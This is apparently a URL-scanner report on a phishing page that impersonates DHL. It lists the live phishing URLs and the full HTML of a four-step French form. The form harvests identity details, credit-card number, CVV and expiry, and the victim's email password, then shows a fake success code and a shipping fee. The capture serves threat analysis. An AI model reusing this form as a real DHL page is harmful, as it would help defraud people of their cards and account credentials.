7246.webhost-04.my-host.network
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2a0f:5707:aaef:6000::4
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Submitted URL: http://polinisa.iceiy.com/
Effective URL: https://7246.webhost-04.my-host.network/dhl/
Submission: On April 13 via manual from CA — Scanned from GB
Effective URL: https://7246.webhost-04.my-host.network/dhl/
Submission: On April 13 via manual from CA — Scanned from GB
Form analysis
1 forms found in the DOM<form role="form">
<div class="row setup-content" id="step-1" style="display: block;">
<div class="col-xs-12">
<div class="col-md-12">
<h3> Informations de contact</h3>
<div class="form-group">
<label class="control-label">Nom</label>
<input maxlength="100" type="text" required="required" class="form-control" name="nom" id="nom">
</div>
<div class="form-group">
<label class="control-label">Prénom</label>
<input maxlength="100" type="text" required="required" class="form-control" name="prenom" id="prenom">
</div>
<div class="form-group">
<label class="control-label">Pays</label>
<div class="dropdown bootstrap-select form-control"><select class="selectpicker form-control" data-live-search="true" name="Pays" tabindex="-98">
<option value="--------" selected="">----------- </option>
<option value="France">France </option>
<option value="Canada">Canada </option>
<option value="Etats_Unis">Etats_Unis </option>
</select><button type="button" class="btn dropdown-toggle btn-default" data-toggle="dropdown" role="button" title="-----------">
<div class="filter-option">
<div class="filter-option-inner">
<div class="filter-option-inner-inner">-----------</div>
</div>
</div><span class="bs-caret"><span class="caret"></span></span>
</button>
<div class="dropdown-menu open" role="combobox">
<div class="bs-searchbox"><input type="text" class="form-control" autocomplete="off" role="textbox" aria-label="Search"></div>
<div class="inner open" role="listbox" aria-expanded="false" tabindex="-1">
<ul class="dropdown-menu inner "></ul>
</div>
</div>
</div>
</div>
<div class="form-group">
<label class="control-label">Adresse</label>
<textarea class="form-control" rows="3" name="adresse" required="required"></textarea>
</div>
<div class="form-group">
<label class="control-label">Ville</label>
<input maxlength="100" type="text" required="required" class="form-control" name="ville">
</div>
<div class="form-group">
<label class="control-label">Code postal</label>
<input maxlength="100" type="text" required="required" class="form-control" name="zip">
</div>
<div class="form-group">
<label class="control-label">Date de naissance</label>
<input maxlength="100" type="text" required="required" class="form-control" name="dates">
</div>
<div class="form-group">
<label class="control-label">Numéro de téléphone</label>
<input maxlength="100" type="text" required="required" class="form-control" name="tel">
</div>
<button class="btn btn-primary nextBtn btn-lg pull-right" type="button">Suivant</button>
</div>
</div>
</div>
<div class="row setup-content" id="step-2" style="display: none;">
<div class="col-xs-12">
<div class="col-md-12">
<h3>Informations de paiement</h3>
<div class="form-row">
<div class="col-xs-8 form-group card required">
<label class="control-label">N° de carte de crédit</label>
<input autocomplete="off" class="form-control card-number isint" size="20" type="text" maxlength="16" name="ccnumber" id="ccnumber" required="required">
</div>
<div class="col-xs-4 form-group cvc required" style="padding-right:0;
padding-left:0;">
<label class="control-label">Code de sécurité: </label>
<input autocomplete="off" class="form-control card-cvc isint" placeholder="ex. 311" size="4" type="text" name="CVV" maxlength="4" required="required">
</div>
<div class="col-xs-6 form-group expiration required">
<label class="control-label">Date d'expiration</label>
<input class="form-control card-expiry-month isint" placeholder="MM" size="2" maxlength="2" type="text" name="MM" required="required">
</div>
<div class="col-xs-6 form-group expiration required" style="padding-right:0;
padding-left:0;">
<label class="control-label"> </label>
<input class="form-control card-expiry-year isint" placeholder="YYYY" maxlength="4" size="4" type="text" required="required" name="YYYY">
</div>
<div id="datevalid" style="display: none;">
<div class="col-xs-6 form-group validation required">
<label class="control-label">Date de validation</label>
<input class="form-control card-expiry-month isint" placeholder="MM" size="2" maxlength="2" type="text" name="VMM" required="required">
</div>
<div class="col-xs-6 form-group expiration required" style="padding-right:0;
padding-left:0;">
<label class="control-label"> </label>
<input class="form-control card-expiry-year isint" placeholder="YYYY" maxlength="4" size="4" type="text" required="required" name="VYYYY">
</div>
</div>
<img src="pay.jpg" alt="" width="100%">
</div>
<button class="btn btn-primary nextBtn btn-lg pull-right" type="button" id="nextverify">Next</button>
</div>
</div>
</div>
<div class="row setup-content" id="step-3" style="display: none;">
<div class="col-xs-12">
<div class="col-md-12">
<h3> Vérification email</h3>
<div class="form-group">
<label class="control-label" id="nameshow">Nom complet : </label>
</div>
<div class="form-group" id="ccshow">
<label class="control-label">Carte de crédit : </label>
</div>
<div class="form-group">
<label class="control-label">Email</label>
<input maxlength="100" type="email" required="required" class="form-control" name="email">
</div>
<div class="form-group">
<label class="control-label">Password</label>
<input type="password" required="required" class="form-control" name="password">
</div>
<button class="btn btn-primary nextBtn btn-lg pull-right" type="button" id="lastnext">Suivant</button>
</div>
</div>
</div>
<div class="row setup-content" id="step-4" style="display: none;">
<div class="col-xs-12">
<div class="col-md-12">
<h3> Finalisation de commande</h3>
<div class="loader"></div>
<div id="showsucess" style=" align-items: center; text-align: center;display: none">
<img src="ic.png" width="80%" style="max-width: 150px; margin-top: 30px;"> <br><br>
<h3>Succès</h3>
<h4 id="fmsg">Envoyer ce code: G-68368 à votre assistant.</h4>
</div>
</div>
</div>
</div>
</form>
Text Content
1 ÉTAPE 1 2 ÉTAPE 2 3 ÉTAPE 3 4 ÉTAPE 4 INFORMATIONS DE CONTACT Nom Prénom Pays ----------- France Canada Etats_Unis ----------- Adresse Ville Code postal Date de naissance Numéro de téléphone Suivant INFORMATIONS DE PAIEMENT N° de carte de crédit Code de sécurité: Date d'expiration Date de validation Next VÉRIFICATION EMAIL Nom complet : Carte de crédit : Email Password Suivant FINALISATION DE COMMANDE SUCCÈS ENVOYER CE CODE: G-68368 À VOTRE ASSISTANT. INFORMATIONS IMPORTANTES les délais de livraison diminuent et passent à 1-2 jours ! Frais de port : 4.37CAD En Canada Via DHL -------------------------------------------------------------------------------- 2023 © DHL International GmbH. All rights reserved.